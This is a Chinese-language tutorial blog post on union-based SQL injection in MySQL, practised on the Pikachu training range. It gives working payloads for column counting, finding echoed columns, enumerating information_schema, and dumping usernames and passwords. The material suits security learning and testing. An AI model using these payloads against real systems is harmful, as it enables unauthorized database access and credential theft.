sql注入中的联合注入

联合注入

联合注入顾名思义,就是使用联合查询进行注入的一种方式,是一种高效的注入的方式,适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库。至于为什么需要版本是5.0以上的MYSQL数据库,是因为MYSQL会有一个系统数据库information_schema,能很快的通过几条注入语句获取到想要的数据。
 

使用条件

union有一个十分严格的约束条件,因为是联合查询,必选保证字段数一致,即两个查询结果有相同的列数,因此我们后面要对字段数进行判断。

UNION语法

mysql中,union用于将多个select语句的结果组合到一个结果集中,并删除结果集中的重复数据。

语法为:

select column,...from table1 union select column,...from table2;

实际用例: 

select Host from user union select User from user;

在kali中实际操作来加深理解一下,如何在kali中进入mysql可以看我的另一篇博客

kali普通用户获取root权限以及用kali进入mysql的学习笔记_ZredamanJ的博客-CSDN博客_kali给普通用户root权限

 在mysql数据库中查询所有的表

show tables;

sql注入中的联合注入_第1张图片

查询user表中的字段

show columns from user;

sql注入中的联合注入_第2张图片

这是使用select直接查询的方式

select Host from user;
select User from user;

sql注入中的联合注入_第3张图片

使用union select 查询的方式

select Host from user union select User from user;

sql注入中的联合注入_第4张图片

 可以看到union select将select语句的结果整合的一个结果集,并删除重复的数据。

联合注入的流程

联合注入的过程

1、判断注入点

2、判断是闭合形式

3、判断查询列数

4、判断显示位

5、获取所有数据库名

6、获取数据库所有表名

7、获取字段名 

8、获取字段中的数据

1、判断注入点

假如存在这么一个参数?id=1

 可以在参数后面加个单引号或者双引号看是否爆sql语法的错误

?id=1'

?id=1"

如爆sql语法的错误,则可判断存在sql注入,如果爆其它错误,也许是管理人员设的WAF,得根据其它测试来判断。

2、判断闭合闭合形式

推荐一篇别人判断闭合形式的总结,写得不错,我就不班门弄斧了。

SQL注入基础--判断闭合形式_小菜的博客-CSDN博客_sql注入闭合方式

sql注入中的联合注入_第5张图片

在皮卡丘靶场对博客的总结进行一波实验 

一、找到数字型闭合形式的题,在bp抓包

sql注入中的联合注入_第6张图片

在1后面加上单引号,发现报错

sql注入中的联合注入_第7张图片

在1后面加上双引号,也发现报错

sql注入中的联合注入_第8张图片

二、切换的字符型的题目尝试一下

sql注入中的联合注入_第9张图片

在1后面加上单引号,发现报错

sql注入中的联合注入_第10张图片

在1后面加双引号,没报错 

sql注入中的联合注入_第11张图片

 到这大致可以证明那篇博客的准确性,如果觉得还不能确定,可以继续手动加上注释符试试。

3、判断查询列数

正常的查询列数的语句为

1' order by 1--+

1' order by 2--+

order by 1的含义是排序第一个栏位,order by 2排序第二个栏位。

当order by 3时排序第三个栏位回显正常,而order by 4回显错误,可以判断出当前sql语句向该表查询了三个字段。例如下面这个例子,web服务器向Users表中查询了user、passwd、id三个字段:

select user,passwd,id from Users

而实际上Users表可能有user、passwd、id、host、ip等字段,所以说order by只是判断了当前sql语句查询的字段数,并不是判断Users表中有几个列,目的是为了符合union的用法,即有相同的字段数。

 

重点:order by是对数据库中返回结果的排序,而不是对数据库的表里面列的排序。

sql注入中的联合注入_第12张图片

 sql注入中的联合注入_第13张图片

4、判断回显位

判断方法

知道了列数我们还需要查询回显位,因为虽然知道了列数,但我们要sql注入返回信息到我们手中。

对于一个网页,如果它的列数有三列,但可能只有1,2列的数据返回页面前端。所以我们需要查询哪个列会回显,得用union select 1,2,3来查看回显位。

union select后面加数字串时,如果没有后面的表名,该语句没有向任何一个数据库查询,那么它输出的内容就是我们select后的数字(数字串不一定要1,2,3,也可以是随便的数字如1,342,3522)。

常用的判断回显位语句

-1' union select 1,2,3--+

原理剖析

正常情况下,如果存在与sql数据库交互的地方进行查询时,web服务器自动拼接一个select语句。

这时候攻击者可以构造payload来闭合,从而形成逃逸,可以任意执行sql语句,类似上面的payload。

sql注入中的联合注入_第14张图片

上图中的是数字型注入,所以不用闭合,直接执行sql注入。

如果是字符型的,查询语句就是这样

Select * from Article where id='36' 

这个时候输入我们的payload,向数据库查询的语句则是

Select * from Article where id='-1' union select 1,2,3--+' 

恰好符合我们的union select的语法,完成查询。

这里一定得是-1 union......,而不是1 union.....因为程序在展示数据的时候通常只会取结果集的第一行数据,mysql_fetch_array只被调用了一次,而mysql_fetch_array从结果集中取得一行作为关联数组或数字数组或二者兼有,具体看第二个参数是什么。所以这里无论怎么折腾最后只会出来第一行的查询结果。

只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了

5、获取所有数据库名

懂了前面这些,后面的查库名之类的就很简单了,就固定语句而已。

sql注入中的联合注入_第15张图片

以下的查询都以字符型为例,查询全部的数据库,group_concat是将查询出的结果整合到一起,带出所有数据。

-1' union select 1,group_concat(schema_name) from information_schema.schemata#

 查询当前使用的数据库

-1' union select 1,database()#

6、获取数据库所有表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

7、获取字段名 

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

8、获取字段中的数据

-1' union select username,password from users#

写在最后的话

有时候得#并不会起注释作用,得换成%23,具体原因是

#号在url上时并不等价与%23,因为浏览器会将url中的#看做一个页面标记符,定位你看到一个网页中的那一个部分了,所以并不会随着负载进入后端,也就起不来注释作用。

参考文章 

https://blog.csdn.net/weixin_42277564/article/details/80583959

sql注入之union联合注入_k1ling的博客-CSDN博客_union注入

mysql中union怎么使用 - MySQL数据库 - 亿速云 (yisu.com)

SQL ORDER BY 子句 (w3school.com.cn)

你可能感兴趣的:(SQL注入,sql,数据库,database)